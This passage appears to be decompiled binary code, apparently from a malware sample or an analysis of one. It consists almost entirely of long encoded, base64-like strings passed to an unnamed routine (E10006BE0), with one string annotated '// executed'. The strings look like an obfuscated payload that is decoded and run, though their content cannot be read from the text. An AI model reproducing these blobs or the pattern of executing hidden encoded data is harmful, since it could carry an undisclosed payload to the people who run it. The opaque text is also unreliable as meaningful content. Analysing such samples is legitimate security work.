yhsqKvV52xQJghXYUNrG3oxCN8aEyibLBiOYakAUhTHokUAmBpFFXkhN3iiA3ByLpmLicUzRRto02Wrxhp6b4/Clr6jMgws9zBjOVPMXV2mCXIK+3MjR9VeQnzlAgPJCgckCxroCXIKtgwHEy7OQrX1AmAT3hbTCNUlaQLXc1xjD98tLqEwUnzMJWdYG9UlaQbVY1x/zBsiKqEAUnTOJWcgt7L2s6nb93en0lIqZpIGhURHiIr9oKEpxmWZc1x3XscqZkMwUhBM6AckC+Yo+ZS4tgwHE7rXayizMmAnNZkAXxLqi90SExjUpuyp2Ihbt65B6BckP98VaTbMwnYjgBAOOh3mdkTGJWdckpNhTdcqEyTACFYqoWxQLo95YUPBO3o5T5c6EyAnzBgOPt+Vt65D6BckBxfqm9cqEyBH71Qq7WxQLs0DRWuLG3o9Cd0SExioC3B+72xQVqyrdbz/mBpFEe9yN3iiC3B2z4Vj68UzRR/58kn8xhJ6a79nYwD3oih09whjNV0HtrIpTqafU1x3QByjEgxc9wBjNfEVX17gOXIKN97HM5NuQniOtERHoCckD1fqCXIO9pgnzhAONpDrZKBu4DckD33EGk6Zc1x700YqZqkAUhw2/zns3hpFFXdHyIeoC3BykclfvJWuYonBtlvoAXIGtgwHHy5jJyz/M8sL6g6HG9UlaQ7VY1xzzBgOMqEwUmSvwyUAX9UkwpEaExh/O1QqLiuEM8+DoCckP1IpxoDfQ1xDJsPpYe8wUhipdkMA3hpFET1CyIeiM3B2zkuGiQDMLWdc1BJFLb6F3ofcBt/uJ5J0dkRHKUDGF9WvAd2ee1PlD2/aKycztAnCoTcaF9W3BaGEc0AyMlfsZ+s8iYUP7EcKFmWhP7qZc1x/BZkqZpD9/szP4AckA6LMTVafW1x/TddeQnQksQBjMXfRX17gAXIOzL/OONVeQnhvbUsqoCckD1PgOXION/i/HpNuQkh+n0RH6g8kP6mA9eligVrirVGjMgwUtyBjAUCBK3oB641RN79mxDZzZij1A8eh+PFQ3iviurHkZ79nYwChlyh0tyhjNUWLE3o1uref3XuqE3B+51xQIgyqYkPHG3o5uqNeN/lvYwyi54+UtyBjOUGBK3o54ILAtfNnYwyhIgwg/QHE6gckP9UlaQbVY1x/zhAOTsD5aLq422FfX17qhRLWI0kQsb3YnNeLsQBjPV6lX17Z7t1wjflvYwgmLQjg9wBjPUKFoKHgOXICet8I05NuQniLaURH4AckDyinTVafW1xzRNVuQngp4ERH4A8kDzQhvcXfQ1xzww/c9e8wUhxGZEMA1BJFFaG/9pIlzgAOPukQUhxO4AckB5Q8sqnfQ1x76+bamaMwUhzMJWdQ1BpFEd0VP5DAxKvVLqF3PsGHFVO6my9hTRfhNngjR71gnNeLzGYYYUPpH6SespEaEywP3FQq3oPe3O7GLWdU9IeUSpc6EywtzBgOMt+VzvsRrk3BtVzoGXIKtjwHE+X0mdf1AmATntjYTJklaQbyWHgjzBgONt+VXY6WiEDKnrdnxBp6Z/lnYwTocdeL9wBjMSE5X17gOXIODr2E3NVeQngj3RYjJchEew7qGXIKf/NuwLzahNeLzF0mYUPp8qeespEaEyQC5FQqp0RQKkHGJWdckx9hTdcqEyScL1oqoWxQIv7FYUOBG3o1w0+hyBNnYwB872xQIi8DRRdU1hpFGe6XdW6RljgOMqkAUhD2b8J6mBpFHTGRN3jiK3B6ZakwUhSxNEMA3hpFHWlNyIeiM3B6e5WIiYMDRRuWS15hzBJ6b0EMR1TrCgwsf88LRRv3vp+LSd8KEyCiM3ByrLp6doMDRSMY715hjDJ6V3aiA3BKPRF0dsUzRSPbZlhNihPd6uwjRz9v5Xb9M8fGFMA29mhhxhJ6b/NnYwShIgwg/QBjPchF3NU1aTbXc1wLrxE2mNezMmAb4vYAX+Q4ElZe9hQHG15u7ci1GmAbacB0ewIhxhJ6azkgg1dv6aE3fq3Mmbz/mBpFHV2HN3hrygGNL6O69wBjMQtmoKGgKXIOOvlnYwRindeL9wBjMbwRoKHgOXIOdzfMQJNv5U6mdkTGJMCa/15hzCPdGZciR5NuQnxUFERH4AckC+I7TVY1c1x3et1uQnz1AmATsyoFNN8taQIgBW5GxiAOMg0GSiuAJWdYG4phTdcaEyAX66vV52xQLu0AnryBG3o5XvheN/lXYwx/eyd0/QBjOcpEe24pwBPZf/FnY3yhIgwgMs8K4geLG3oxxBJ6F5CA/KvV4+gAfP5WNkMAtuqWsqnkLhkjR9XQKP50djAuiOH3oKGmCXICfHsjR+znquS4/QhjPbThnrRnxAJ6a/lnYwh9Qih09zBjPUr1Ul6mCXIG1bojR9VuQnDSS0RH4AckBxkEsqnfQ1x7vcMnf6kAUhyP1UsZG9UlaQ7VY1x/D99nwcADlru4Lc6ce15gTVYfvL9qzA8aL6MHTg3MGgNJ1L0gEhcAdiViGwnpquS4Ps0bRUtI1ipFXQEWtJRjD99eQlg1/ZwP6rpI1ipFbb4qN4fcD98vK8d0doMDRX++9V5hBdOeOP2kR1QqoWxQShiRYUO6YnTtpJEaE1A/Z5e7DWxQSn7OJWc83ipFccRpDnjkA3ASQ2x0doUrRXsF3ipFdXBqMXjkA3AexGh0dsUDRXdmEl5hzCJ6A5PORVTtIgxEr+VHYcJMe25LkkACtgwHd14nfnT/MmB36gcka9UlaW7Vc1wfr1xomNc8/0Hyj0MAG9WiBd2If/PsD992Qng8/TBjOQuDmx4+Bam++7RrzggObmT9MmBfNguDsz7qyXLuN3gjzOgO9ih0dgF0ocpEex7iKXJmN/OnY8wqZig89SBjUUOJG3pJBd2EvgQHZ7xYmdaLPs9CMq0AX5nlaf5eN3ikOlQqLq20ecGLYUMAmNpFzVZeN6PPR1Trwgz0dkRHasKMe95hTVYqrdWpxuAO5ih0dveNhMzH23rJTVZeQ4gjR+4DgNlIt+hjyUMAX06mCXJ2PNsalJWOQoB0dkRB4Mck915hTZbzN3jy63CCZih09/BjyUMAX/gGRlaZc1xzc34qZqkAUhTkaNWW3ipFHQEUru7kw3CKZih0er9HYcKMe/5hTVbqF+gUxuAOxih0dhvv/3SL23rBTVZevDwHF9+uQoB0dkTM5WeAX15hpegeyYdrzlFZiyh0M3eOJHDA1IlShB7Xq1yzR1QqLqMoUjQP4odgABaerR7d22DkA3AKiah0doMDRWMZ0l5hAd2fXDwHZw2jIgxU9wBjQQHBX17gOXJ+dOslw9VeQggbk3LD6gckf9claXaZc1wTKXIXDe9wUuzJs1XHG3pJRDcAZb9nY2yD6Gp9sQBjQTT5X16gKXJ+PPlXY3T1ZuJz/QBjQcpEe37qAXJ2vDwHd2fi3uW4uogG6EvHG3pBS2ReN7lHY3Qv52xQVkHqYUOL"); // executed
				r8d = r8d ^ r8d;
				E10006BE0(_t131, _t155, _t157, _t155, "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", 0xffffffff);
				if(_v56 >= _t264) {
					L1000E25C(_t155, _v80);
				}
